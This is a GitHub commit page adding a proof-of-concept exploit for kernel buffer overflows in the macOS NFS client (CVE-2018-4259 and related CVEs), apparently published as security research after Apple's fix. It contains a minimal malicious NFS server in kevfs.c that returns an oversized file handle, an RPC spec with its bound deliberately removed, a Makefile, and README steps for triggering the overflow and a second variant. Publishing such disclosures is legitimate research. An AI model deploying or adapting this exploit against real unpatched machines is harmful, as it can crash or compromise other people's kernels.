Skip to content

Commit 0e6f0b8

Browse files
SamGitHub Enterprise
authored andcommitted
Merge pull request #16 from kev/Apple_XNU_nfs_vfsops_CVE-2018-4259
Exploit PoC for buffer overflow vulnerability in Mac OS NFS client
2 parents ba2ce88 + f50cb65 commit 0e6f0b8

5 files changed

Lines changed: 153 additions & 0 deletions

File tree

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
kevfs
2+
nfs_clnt.c
3+
nfs_svc.c
4+
nfs_xdr.c
5+
nfs.h
6+
*.o
Lines changed: 21 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,21 @@
1+
kevfs: nfs_svc.o nfs_xdr.o kevfs.o
2+
gcc -g -O0 -Wall nfs_svc.o nfs_xdr.o kevfs.o -o kevfs
3+
4+
kevfs.o: kevfs.c
5+
gcc -g -O0 -c -Wall kevfs.c
6+
7+
nfs_svc.o: nfs_svc.c
8+
gcc -g -O0 -c -Wall nfs_svc.c
9+
10+
nfs_xdr.o: nfs_xdr.c
11+
gcc -g -O0 -c nfs_xdr.c
12+
13+
nfs_svc.c: nfs.h
14+
15+
nfs_xdr.c: nfs.h
16+
17+
nfs.h: nfs.x
18+
rpcgen nfs.x
19+
20+
clean:
21+
rm -f *~ *.o nfs_clnt.c nfs_svc.c nfs_xdr.c nfs.h kevfs
Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
## Buffer overflows in macOS NFS client (CVE-2018-4259, CVE-2018-4286, CVE-2018-4287, CVE-2018-4288, CVE-2018-4291)
2+
3+
This directory contains a minimal [NFS](https://en.wikipedia.org/wiki/Network_File_System) server. It only implements a very small subset of the [NFS protocol](https://www.ietf.org/rfc/rfc1813.txt): just enough to trigger one of the buffer overflow vulnerabilities in the macOS XNU operating system kernel. The vulnerabilities were fixed in macOS version [10.13.6](https://support.apple.com/en-gb/HT208937).
4+
5+
For more details about the vulnerabilities, see the [blog post on lgtm.com](https://lgtm.com/blog/apple_xnu_nfs_vfsops_CVE-2018-4259).
6+
7+
To compile and run (on Linux):
8+
9+
```bash
10+
$ make
11+
$ ./kevfs
12+
```
13+
14+
To trigger the exploit, you need to attempt to mount a folder on the Mac. Suppose the IP address of the server is `192.168.0.15`:
15+
16+
```bash
17+
$ mkdir ~/mnt
18+
$ mount -t nfs 192.168.0.15:/export ~/mnt
19+
```
20+
21+
Note that `sudo` access is not required to trigger the bug on the Mac, because we are only attempting to mount to `~/mnt`.
22+
23+
There is a second vulnerability which can be triggered with a small modification to the server: it should return an `fhandle3` with size `0xFFFFFFFF`. This requires a change to the code, because we don't want to send a 4GB payload with the message. The simplest way to do this is to change the definition of `fhandle3` in `nfs.x` so that it contains a `uint32`, rather than an `opaque`. The uint needs to be initialized to 0xFFFFFFFF in `kevfs.c`.
Lines changed: 43 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,43 @@
1+
/**
2+
* This file implements a minimal subset of the RPC protocol for NFS.
3+
* Its purpose is to demonstrate that there is a buffer overflow
4+
* vulnerability in the kernel of Mac OS version 10.13.5.
5+
*/
6+
7+
#include <rpc/rpc.h>
8+
#include <stdio.h>
9+
#include "nfs.h"
10+
11+
static int void_buf = 0;
12+
13+
void* nfsproc3_null_3_svc(void *x, struct svc_req *req) {
14+
printf("nfsproc3_null_3_svc\n");
15+
return &void_buf;
16+
}
17+
18+
void* mountproc3_null_3_svc(void *x, struct svc_req *req) {
19+
printf("mountproc3_null_3_svc\n");
20+
return &void_buf;
21+
}
22+
23+
mountres3* mountproc3_mnt_3_svc(dirpath *path, struct svc_req *req) {
24+
static struct mountres3 result;
25+
static int auth_flavors[1] = {1}; // RPCAUTH_SYS
26+
static const uint32_t far_too_big_fhandle3_size = 0x1000;
27+
28+
printf("mountproc3_mnt_3_svc\n");
29+
30+
result.fhs_status = 0;
31+
32+
// Malicious payload. Note: there is a second vulnerability which can be
33+
// triggered by setting far_too_big_fhandle3_size == 0xFFFFFFFF. But this
34+
// will only work if we manually edit the auto-generated file nfs_xdr.c
35+
// so that it doesn't attempt to create a message with 4GB of data.
36+
result.mountres3_u.mountinfo.fhandle.data.data_len = far_too_big_fhandle3_size;
37+
result.mountres3_u.mountinfo.fhandle.data.data_val = malloc(far_too_big_fhandle3_size);
38+
memset(result.mountres3_u.mountinfo.fhandle.data.data_val, 0, far_too_big_fhandle3_size);
39+
40+
result.mountres3_u.mountinfo.auth_flavors.auth_flavors_len = 1;
41+
result.mountres3_u.mountinfo.auth_flavors.auth_flavors_val = auth_flavors;
42+
return &result;
43+
}
Lines changed: 60 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,60 @@
1+
/*
2+
* This file contains a subset of the RPC protocol for NFS, as described in
3+
* RFC 1813:
4+
*
5+
* https://www.ietf.org/rfc/rfc1813.txt
6+
*
7+
* Apart from omitting parts of the protocol that are not needed, only one
8+
* modification has been made:
9+
*
10+
* 1. The upper bound of the opaque data in an fhandle3 has been omitted,
11+
* to demonstrate a buffer overflow in Mac OS version 10.13.5.
12+
*/
13+
14+
struct fhandle3 {
15+
opaque data<>; /* Note: upper bound deliberately omitted */
16+
};
17+
18+
enum mountstat3 {
19+
MNT3_OK = 0, /* no error */
20+
MNT3ERR_PERM = 1, /* Not owner */
21+
MNT3ERR_NOENT = 2, /* No such file or directory */
22+
MNT3ERR_IO = 5, /* I/O error */
23+
MNT3ERR_ACCES = 13, /* Permission denied */
24+
MNT3ERR_NOTDIR = 20, /* Not a directory */
25+
MNT3ERR_INVAL = 22, /* Invalid argument */
26+
MNT3ERR_NAMETOOLONG = 63, /* Filename too long */
27+
MNT3ERR_NOTSUPP = 10004, /* Operation not supported */
28+
MNT3ERR_SERVERFAULT = 10006 /* A failure on the server */
29+
};
30+
31+
program NFS_PROGRAM {
32+
version NFS_V3 {
33+
void
34+
NFSPROC3_NULL(void) = 0;
35+
} = 3;
36+
} = 100003;
37+
38+
const MNTPATHLEN = 1024;
39+
typedef string dirpath<MNTPATHLEN>;
40+
41+
struct mountres3_ok {
42+
fhandle3 fhandle;
43+
int auth_flavors<>;
44+
};
45+
46+
const MNT_OK = 0;
47+
48+
union mountres3 switch (mountstat3 fhs_status) {
49+
case MNT_OK:
50+
mountres3_ok mountinfo;
51+
default:
52+
void;
53+
};
54+
55+
program MOUNT_PROGRAM {
56+
version MOUNT_V3 {
57+
void MOUNTPROC3_NULL(void) = 0;
58+
mountres3 MOUNTPROC3_MNT(dirpath) = 1;
59+
} = 3;
60+
} = 100005;

0 commit comments

Comments
 (0)